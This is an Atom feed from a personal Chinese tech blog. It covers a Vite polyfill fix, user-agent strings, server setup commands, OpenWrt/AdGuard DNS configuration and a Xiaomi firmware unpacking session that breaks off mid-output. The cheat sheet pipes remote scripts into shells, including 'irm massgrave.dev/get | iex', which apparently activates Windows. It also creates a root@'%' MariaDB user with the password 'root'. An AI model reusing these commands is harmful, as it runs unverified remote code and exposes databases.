-
Notifications
You must be signed in to change notification settings - Fork 0
/
atom.xml
441 lines (233 loc) · 175 KB
/
atom.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
<title>puzzle9 blog</title>
<subtitle>I exist because you need me.</subtitle>
<link href="https://puzzle9.github.io/atom.xml" rel="self"/>
<link href="https://puzzle9.github.io/"/>
<updated>2024-11-19T13:45:35.647Z</updated>
<id>https://puzzle9.github.io/</id>
<author>
<name>puzzle9</name>
</author>
<generator uri="https://hexo.io/">Hexo</generator>
<entry>
<title>vite 的 target 呀</title>
<link href="https://puzzle9.github.io/posts/97f3c987/"/>
<id>https://puzzle9.github.io/posts/97f3c987/</id>
<published>2024-11-19T13:41:38.000Z</published>
<updated>2024-11-19T13:45:35.647Z</updated>
<content type="html"><![CDATA[<p>恩 浏览器兼容 换赛道了呢</p><p>好久没升级的我遇到了 <code>Object.hasOwn is not a function</code> 错误</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Mozilla/5.0 (Linux; Android 12; 2112123AG Build/SKQ1.220303.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.99 XWEB/4263 MMWEBSDK/20220604 Mobile Safari/537.36 MMWEBID/2083 MicroMessenger/8.0.24.2167(0x28001843) WeChat/arm64 Weixin GPVersion/1 NetType/WIFI Language/zh_CN ABI/arm64 </span><br></pre></td></tr></table></figure><p>看了看应用的包 发现 <code>ky</code> 这个现代的有趣家伙</p><p>恩 搜了搜 发现优雅的解决方案</p><p><code>main.ts</code></p><figure class="highlight ts"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> * <span class="keyword">as</span> hasOwn <span class="keyword">from</span> <span class="string">'object.hasown'</span></span><br><span class="line"><span class="keyword">if</span> (!<span class="variable language_">window</span>.<span class="property">Object</span>.<span class="property">hasOwn</span>) {</span><br><span class="line"> hasOwn.<span class="title function_">shim</span>()</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>参考地址</p><ul><li><a href="https://github.com/sindresorhus/ky/issues/629">https://github.com/sindresorhus/ky/issues/629</a></li><li><a href="https://github.com/vitejs/vite/discussions/15794">https://github.com/vitejs/vite/discussions/15794</a></li><li><a href="https://ccny.ltd/views/blog/2022/%E4%BB%8E%20Object.hasOwn%20%E7%9C%8B%20@vitejs_plugin-legacy.html">https://ccny.ltd/views/blog/2022/%E4%BB%8E%20Object.hasOwn%20%E7%9C%8B%20@vitejs_plugin-legacy.html</a></li></ul>]]></content>
<summary type="html"><p>恩 浏览器兼容 换赛道了呢</p>
<p>好久没升级的我遇到了 <code>Object.hasOwn is not a function</code> 错误</p>
<figure class="highlight plaintext"><table><tr><td cl</summary>
</entry>
<entry>
<title>UA 列表收集</title>
<link href="https://puzzle9.github.io/posts/44f49894/"/>
<id>https://puzzle9.github.io/posts/44f49894/</id>
<published>2024-10-22T07:52:35.000Z</published>
<updated>2024-10-22T07:54:58.591Z</updated>
<content type="html"><![CDATA[<ul><li><p><code>Mozilla/5.0 (Linux; Android 12; 2112123AG Build/SKQ1.220303.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.99 XWEB/4263 MMWEBSDK/20220604 Mobile Safari/537.36 MMWEBID/2083 MicroMessenger/8.0.24.2167(0x28001843) WeChat/arm64 Weixin GPVersion/1 NetType/WIFI Language/zh_CN ABI/arm64</code></p></li><li><p><code>Mozilla/5.0 (Linux; U; Android 13; zh-cn; 21091116AC Build/TP1A.220624.014) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/109.0.5414.118 Mobile Safari/537.36 XiaoMi/MiuiBrowser/18.4.410719</code></p></li><li><p><code>Mozilla/5.0 (Linux; Android 13; 21091116AC Build/TP1A.220624.014; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/126.0.6478.188 Mobile Safari/537.36 XWEB/1260117 MMWEBSDK/20240501 MMWEBID/8157 MicroMessenger/8.0.50.2701(0x2800325B) WeChat/arm64 Weixin NetType/4G Language/zh_CN ABI/arm64</code></p></li><li><p><code>Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.52(0x18003425) NetType/WIFI Language/zh_CN</code></p></li><li><p><code>Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.1 Mobile/15E148 Safari/604.1</code></p></li></ul><p>`</p>]]></content>
<summary type="html"><ul>
<li><p><code>Mozilla/5.0 (Linux; Android 12; 2112123AG Build/SKQ1.220303.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Ch</summary>
</entry>
<entry>
<title>命令 **技巧</title>
<link href="https://puzzle9.github.io/posts/6c5b1981/"/>
<id>https://puzzle9.github.io/posts/6c5b1981/</id>
<published>2024-10-22T07:51:50.000Z</published>
<updated>2024-11-17T17:34:44.643Z</updated>
<content type="html"><![CDATA[<h1 id="代理"><a href="#代理" class="headerlink" title="代理"></a>代理</h1><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">export</span> {http,https}_proxy=<span class="string">"http://ip:port"</span></span><br></pre></td></tr></table></figure><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">set</span> http_proxy=http://ip:port</span><br><span class="line"><span class="built_in">set</span> https_proxy=http://ip:port</span><br></pre></td></tr></table></figure><h1 id="mariadb"><a href="#mariadb" class="headerlink" title="mariadb"></a>mariadb</h1><h2 id="debian"><a href="#debian" class="headerlink" title="debian"></a>debian</h2><ul><li><a href="https://mariadb.com/kb/en/installing-mariadb-deb-files/">https://mariadb.com/kb/en/installing-mariadb-deb-files/</a></li><li><a href="https://swmlee.com/2020/06/18/technicalessays/mariadbseries/07mariadb-performance-optimization/">https://swmlee.com/2020/06/18/technicalessays/mariadbseries/07mariadb-performance-optimization/</a></li><li><a href="https://www.cnblogs.com/dh17/p/14484423.html">https://www.cnblogs.com/dh17/p/14484423.html</a></li><li><a href="https://stackoverflow.com/a/19101356/6686061">https://stackoverflow.com/a/19101356/6686061</a></li><li><a href="https://github.com/major/MySQLTuner-perl">https://github.com/major/MySQLTuner-perl</a></li></ul><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">curl -sS https://downloads.mariadb.com/MariaDB/mariadb_repo_setup | bash</span><br><span class="line">apt install mariadb-server</span><br><span class="line">apt <span class="built_in">enable</span> mariadb --now</span><br><span class="line"></span><br><span class="line">mysql_secure_installation</span><br></pre></td></tr></table></figure><p><code>/etc/mysql/mariadb.conf.d/10-custom.cnf</code></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">skip-name-resolve=ON</span><br><span class="line">performance_schema=ON</span><br><span class="line">innodb_buffer_pool_size=512M</span><br><span class="line">innodb_log_file_size=128M</span><br><span class="line">innodb_log_buffer_size=256M</span><br><span class="line"></span><br><span class="line">slow-query-log=1</span><br><span class="line">slow-query-log-file=/var/log/mysql-slow.log</span><br><span class="line">long_query_time=2</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">CREATE USER 'root'@'%' IDENTIFIED BY 'root';</span><br><span class="line">GRANT ALL PRIVILEGES ON *.* TO root@'%' IDENTIFIED BY 'root' WITH GRANT OPTION;</span><br><span class="line">FLUSH PRIVILEGES;</span><br><span class="line"></span><br><span class="line">CREATE DATABASE `databasename`</span><br><span class="line">CREATE USER 'databasename'@'%' IDENTIFIED BY 'databasename';</span><br><span class="line">GRANT ALL PRIVILEGES ON `databasename`.* TO 'databasename'@'%';</span><br></pre></td></tr></table></figure><h1 id="redis"><a href="#redis" class="headerlink" title="redis"></a>redis</h1><h2 id="debian-1"><a href="#debian-1" class="headerlink" title="debian"></a>debian</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">apt-get install lsb-release curl gpg</span><br><span class="line">curl -fsSL https://packages.redis.io/gpg | gpg --dearmor -o /usr/share/keyrings/redis-archive-keyring.gpg</span><br><span class="line"><span class="built_in">chmod</span> 644 /usr/share/keyrings/redis-archive-keyring.gpg</span><br><span class="line"><span class="built_in">echo</span> <span class="string">"deb [signed-by=/usr/share/keyrings/redis-archive-keyring.gpg] https://packages.redis.io/deb <span class="subst">$(lsb_release -cs)</span> main"</span> | <span class="built_in">tee</span> /etc/apt/sources.list.d/redis.list</span><br><span class="line">apt-get update</span><br><span class="line">apt-get install redis</span><br><span class="line"></span><br><span class="line">systemctl <span class="built_in">enable</span> redis --now</span><br></pre></td></tr></table></figure><h1 id="caddy"><a href="#caddy" class="headerlink" title="caddy"></a>caddy</h1><ul><li><a href="https://caddyserver.com/docs/install">https://caddyserver.com/docs/install</a></li></ul><h2 id="debian-2"><a href="#debian-2" class="headerlink" title="debian"></a>debian</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">apt install -y debian-keyring debian-archive-keyring apt-transport-https curl</span><br><span class="line">curl -1sLf <span class="string">'https://dl.cloudsmith.io/public/caddy/stable/gpg.key'</span> | gpg --dearmor -o /usr/share/keyrings/caddy-stable-archive-keyring.gpg</span><br><span class="line">curl -1sLf <span class="string">'https://dl.cloudsmith.io/public/caddy/stable/debian.deb.txt'</span> | <span class="built_in">tee</span> /etc/apt/sources.list.d/caddy-stable.list</span><br><span class="line">apt update</span><br><span class="line">apt install caddy</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">import /data/conf/*.caddy</span><br><span class="line"></span><br><span class="line">:80 {</span><br><span class="line">root * /usr/share/caddy</span><br><span class="line">file_server</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">domain.com {</span><br><span class="line">encode zstd gzip</span><br><span class="line">tls domain@email</span><br><span class="line"></span><br><span class="line">reverse_proxy 127.0.0.1:6001</span><br><span class="line"></span><br><span class="line">log {</span><br><span class="line">output file /data/logs/domain.log</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">domain.com:80 {</span><br><span class="line">encode zstd gzip</span><br><span class="line"></span><br><span class="line">root * /data/www//dist</span><br><span class="line">try_files {path} /index.html</span><br><span class="line">file_server</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h1 id="nodejs"><a href="#nodejs" class="headerlink" title="nodejs"></a>nodejs</h1><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">curl -sS https://deb.nodesource.com/setup_lts.x | bash</span><br><span class="line">apt install nodejs</span><br><span class="line"></span><br><span class="line">npm config <span class="built_in">set</span> registry https://registry.npmmirror.com</span><br><span class="line"></span><br><span class="line">npm install -g pnpm</span><br></pre></td></tr></table></figure><h1 id="git"><a href="#git" class="headerlink" title="git"></a>git</h1><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">git config core.filemode <span class="literal">false</span></span><br><span class="line"></span><br><span class="line">git daemon --verbose --export-all --base-path=.</span><br><span class="line">git <span class="built_in">clone</span> git://127.0.0.1/file file</span><br><span class="line"></span><br><span class="line">git <span class="built_in">clone</span> ../base/file file</span><br></pre></td></tr></table></figure><h1 id="pake"><a href="#pake" class="headerlink" title="pake"></a>pake</h1><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">pake http://domain.test --name domain --icon favicon_128.ico --fullscreen --always-on-top --installer-language zh-CN</span><br><span class="line">pake http://domain-dev.test --name domain-dev --icon favicon_128.ico --installer-language zh-CN --debug</span><br></pre></td></tr></table></figure><h1 id="frankenphp"><a href="#frankenphp" class="headerlink" title="frankenphp"></a>frankenphp</h1><ul><li><a href="https://github.com/dunglas/frankenphp">https://github.com/dunglas/frankenphp</a></li><li><a href="https://frankenphp.dev/docs/known-issues/#composer-scripts-referencing-php">https://frankenphp.dev/docs/known-issues/#composer-scripts-referencing-php</a></li><li><a href="https://mirrors.tencent.com/help/composer.html">https://mirrors.tencent.com/help/composer.html</a></li></ul><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">wget https://github.com/dunglas/frankenphp/releases/download/v1.3.1/frankenphp-linux-x86_64</span><br><span class="line"><span class="built_in">chmod</span> +x frankenphp-linux-x86_64</span><br><span class="line"><span class="built_in">mv</span> frankenphp-linux-x86_64 /usr/local/bin</span><br></pre></td></tr></table></figure><p><code>/usr/local/bin/php</code></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#!/usr/bin/env bash</span></span><br><span class="line">args=(<span class="string">"<span class="variable">$@</span>"</span>)</span><br><span class="line">index=0</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="string">"<span class="variable">$@</span>"</span></span><br><span class="line"><span class="keyword">do</span></span><br><span class="line"> <span class="keyword">if</span> [ <span class="string">"<span class="variable">$i</span>"</span> == <span class="string">"-d"</span> ]; <span class="keyword">then</span></span><br><span class="line"> <span class="built_in">unset</span> <span class="string">'args[$index]'</span></span><br><span class="line"> <span class="built_in">unset</span> <span class="string">'args[$index+1]'</span></span><br><span class="line"> <span class="keyword">fi</span></span><br><span class="line"> index=$((index+<span class="number">1</span>))</span><br><span class="line"><span class="keyword">done</span></span><br><span class="line"></span><br><span class="line">/usr/local/bin/frankenphp php-cli <span class="variable">${args[@]}</span></span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">wget https://mirrors.tencent.com/composer/composer.phar</span><br><span class="line"><span class="built_in">mv</span> composer.phar /usr/local/bin/composer</span><br><span class="line"><span class="built_in">chmod</span> +x /usr/local/bin/composer</span><br><span class="line">composer config -g repos.packagist composer https://mirrors.tencent.com/composer/</span><br></pre></td></tr></table></figure><h1 id="win"><a href="#win" class="headerlink" title="win"></a>win</h1><ul><li><a href="https://github.com/TGSAN/CMWTAT_Digital_Edition/issues/81">https://github.com/TGSAN/CMWTAT_Digital_Edition/issues/81</a></li></ul><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">irm</span> https://massgrave.dev/get | <span class="built_in">iex</span></span><br></pre></td></tr></table></figure>]]></content>
<summary type="html">好记性不如烂笔头 除非可以复制</summary>
</entry>
<entry>
<title>玩 路由器 之 私人dns</title>
<link href="https://puzzle9.github.io/posts/9992adb/"/>
<id>https://puzzle9.github.io/posts/9992adb/</id>
<published>2024-10-22T06:06:21.000Z</published>
<updated>2024-10-22T07:40:04.191Z</updated>
<content type="html"><![CDATA[<p>恩 还有点用吧</p><p>之前的那个内存不够 容易重启<br>就搭建了 <code>pve</code> 跑了 <code>openwrt</code></p><p><img src="/posts/9992adb/index.png"></p><h1 id="方案"><a href="#方案" class="headerlink" title="方案"></a>方案</h1><p>方案1: 修改 <code>openwrt</code> 中的 <code>dnsmasq</code> 服务器端口号<br>方案2: 开启 <code>openwrt</code> 中的 <code>dnsmasq</code> 服务器的转发功能</p><p>最终选择了方案1</p><p>这样可以显示出来dns查询的ip</p><h1 id="adguard-安装"><a href="#adguard-安装" class="headerlink" title="adguard 安装"></a>adguard 安装</h1><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">opkg install adguardhome</span><br></pre></td></tr></table></figure><h1 id="adguard-配置"><a href="#adguard-配置" class="headerlink" title="adguard 配置"></a>adguard 配置</h1><h2 id="修改文件保存位置"><a href="#修改文件保存位置" class="headerlink" title="修改文件保存位置"></a>修改文件保存位置</h2><p><code>/etc/config/adguardhome</code></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">config adguardhome config</span><br><span class="line">option workdir /data/adguardhome</span><br></pre></td></tr></table></figure><h2 id="dns上游"><a href="#dns上游" class="headerlink" title="dns上游"></a>dns上游</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">https://dns.alidns.com/dns-query</span><br><span class="line">https://dns.pub/dns-query</span><br><span class="line">223.5.5.5</span><br><span class="line">114.114.114.114</span><br><span class="line">119.29.29.29</span><br><span class="line">2400:3200::1</span><br><span class="line">2402:4e00::</span><br></pre></td></tr></table></figure><h2 id="dns黑名单"><a href="#dns黑名单" class="headerlink" title="dns黑名单"></a>dns黑名单</h2><ul><li><code>easylistchina</code>: <code>https://easylist-downloads.adblockplus.org/easylistchina.txt</code></li><li><code>AdGuard DNS filter mirror</code>: <code>https://raw.gitmirror.com/AdguardTeam/HostlistsRegistry/refs/heads/main/assets/filter_1.txt</code></li></ul><h1 id="openwrt-配置"><a href="#openwrt-配置" class="headerlink" title="openwrt 配置"></a>openwrt 配置</h1><p>用于 修改 openwrt dns端口 无 dns服务器下发</p><p>修改 <code>dhcp</code> 服务器选项 手动下发dns地址 <code>6,192.168.9.1</code></p><p><img src="/posts/9992adb/openwrt_dhcp_setting.png"></p><h1 id="参考地址"><a href="#参考地址" class="headerlink" title="参考地址"></a>参考地址</h1><ul><li><a href="https://www.right.com.cn/forum/thread-4090928-1-1.html">https://www.right.com.cn/forum/thread-4090928-1-1.html</a></li></ul>]]></content>
<summary type="html"><p>恩 还有点用吧</p>
<p>之前的那个内存不够 容易重启<br>就搭建了 <code>pve</code> 跑了 <code>openwrt</code></p>
<p><img src="/posts/9992adb/index.png"></p>
<h1 id="方案</summary>
<category term="路由器" scheme="https://puzzle9.github.io/categories/%E8%B7%AF%E7%94%B1%E5%99%A8/"/>
</entry>
<entry>
<title>玩 路由器 之 openwrt</title>
<link href="https://puzzle9.github.io/posts/fe6d4e/"/>
<id>https://puzzle9.github.io/posts/fe6d4e/</id>
<published>2024-10-22T06:06:20.000Z</published>
<updated>2024-10-22T07:49:48.821Z</updated>
<content type="html"><![CDATA[<p>恩 这里空空的</p><h1 id="Q-A"><a href="#Q-A" class="headerlink" title="Q&A"></a>Q&A</h1><h2 id="版本区别"><a href="#版本区别" class="headerlink" title="版本区别"></a>版本区别</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">generic-ext4-combined-efi.img.gz # 类似于虚拟机磁盘导入 可直接使用</span><br><span class="line">generic-ext4-combined.img.gz</span><br><span class="line">generic-ext4-rootfs.img.gz</span><br><span class="line">generic-kernel.bin</span><br><span class="line">generic-squashfs-combined-efi.img.gz # 类似于iso镜像 需要安装后使用</span><br><span class="line">generic-squashfs-combined.img.gz</span><br><span class="line">generic-squashfs-rootfs.img.gz</span><br><span class="line">rootfs.tar.gz</span><br></pre></td></tr></table></figure><ul><li>efi 带了引导 可以直接启动</li></ul><h2 id="增加pci无线网卡不显示"><a href="#增加pci无线网卡不显示" class="headerlink" title="增加pci无线网卡不显示"></a>增加pci无线网卡不显示</h2><p>安装相应型号驱动 如</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">opkg install iwlwifi-firmware-ax210</span><br><span class="line">opkg install kmod-iwlwifi</span><br><span class="line">opkg install wpa-supplicant</span><br></pre></td></tr></table></figure><h2 id="多wan-多lan-分开使用"><a href="#多wan-多lan-分开使用" class="headerlink" title="多wan 多lan 分开使用"></a>多wan 多lan 分开使用</h2><p>可以用 mwan3<br>目前只搞定了 ipv4</p><h1 id="参考地址"><a href="#参考地址" class="headerlink" title="参考地址"></a>参考地址</h1>]]></content>
<summary type="html"><p>恩 这里空空的</p>
<h1 id="Q-A"><a href="#Q-A" class="headerlink" title="Q&amp;A"></a>Q&amp;A</h1><h2 id="版本区别"><a href="#版本区别" class="headerlin</summary>
<category term="路由器" scheme="https://puzzle9.github.io/categories/%E8%B7%AF%E7%94%B1%E5%99%A8/"/>
</entry>
<entry>
<title>玩 路由器 之 官改</title>
<link href="https://puzzle9.github.io/posts/4ec329a2/"/>
<id>https://puzzle9.github.io/posts/4ec329a2/</id>
<published>2024-10-22T06:06:19.000Z</published>
<updated>2024-10-22T07:38:09.691Z</updated>
<content type="html"><![CDATA[<p>感觉静态ip绑定二次确认不好用</p><p>那就 解包 搞自己的路由</p><h1 id="获取开发包"><a href="#获取开发包" class="headerlink" title="获取开发包"></a>获取开发包</h1><ul><li><a href="https://miuirom.org/miwifi/xiaomi-router-be3600-2-5g">https://miuirom.org/miwifi/xiaomi-router-be3600-2-5g</a></li></ul><p>获得 <code>miwifi_rd15_firmware_23a4f_1.0.68.bin</code> 文件</p><h1 id="安装工具"><a href="#安装工具" class="headerlink" title="安装工具"></a>安装工具</h1><blockquote><p>debian bookworm</p></blockquote><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">apt install binwalk</span><br><span class="line">apt install python3.11-venv</span><br><span class="line"></span><br><span class="line">python3 -m venv venv</span><br><span class="line"><span class="built_in">source</span> venv/bin/activate</span><br><span class="line"></span><br><span class="line">pip install ubi_reader</span><br></pre></td></tr></table></figure><h1 id="解包"><a href="#解包" class="headerlink" title="解包"></a>解包</h1><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br></pre></td><td class="code"><pre><span class="line">(venv) root@localhost:/route_package# tree -L 1</span><br><span class="line">.</span><br><span class="line">├── miwifi_rd15_firmware_23a4f_1.0.68.bin</span><br><span class="line">└── venv</span><br><span class="line"></span><br><span class="line">(venv) root@localhost:/route_package# ubireader_extract_images -w miwifi_rd15_firmware_23a4f_1.0.68.bin <span class="comment"># 第一次解包</span></span><br><span class="line">UBI_File Warning: end_offset - start_offset length is not block aligned, could mean missing data. <span class="comment"># 这个错误可以不用管</span></span><br><span class="line">(venv) root@localhost:/route_package# tree -L 1</span><br><span class="line">.</span><br><span class="line">├── miwifi_rd15_firmware_23a4f_1.0.68.bin</span><br><span class="line">├── ubifs-root</span><br><span class="line">└── venv</span><br><span class="line"></span><br><span class="line">3 directories, 1 file</span><br><span class="line"></span><br><span class="line">(venv) root@localhost:/route_package/ubifs-root# tree -L 1</span><br><span class="line">.</span><br><span class="line">└── miwifi_rd15_firmware_23a4f_1.0.68.bin <span class="comment"># 需要再次解包</span></span><br><span class="line"></span><br><span class="line">2 directories, 0 files</span><br><span class="line"></span><br><span class="line">(venv) root@localhost:/route_package/ubifs-root# binwalk -Me miwifi_rd15_firmware_23a4f_1.0.68.bin --run-as=root <span class="comment"># 再次解包</span></span><br><span class="line"></span><br><span class="line">(venv) root@localhost:/route_package/ubifs-root/miwifi_rd15_firmware_23a4f_1.0.68.bin# tree -L 1</span><br><span class="line">.</span><br><span class="line">├── img-2059293214_vol-kernel.ubifs <span class="comment"># 内核文件</span></span><br><span class="line">└── img-2059293214_vol-ubi_rootfs.ubifs <span class="comment"># 程序文件</span></span><br><span class="line"></span><br><span class="line">1 directory, 2 files</span><br><span class="line"></span><br><span class="line">(venv) root@localhost:/route_package/ubifs-root/miwifi_rd15_firmware_23a4f_1.0.68.bin# unsquashfs img-2059293214_vol-ubi_rootfs.ubifs <span class="comment"># 提取程序文件</span></span><br><span class="line">Parallel unsquashfs: Using 2 processors</span><br><span class="line">5288 inodes (4844 blocks) to write</span><br><span class="line"></span><br><span 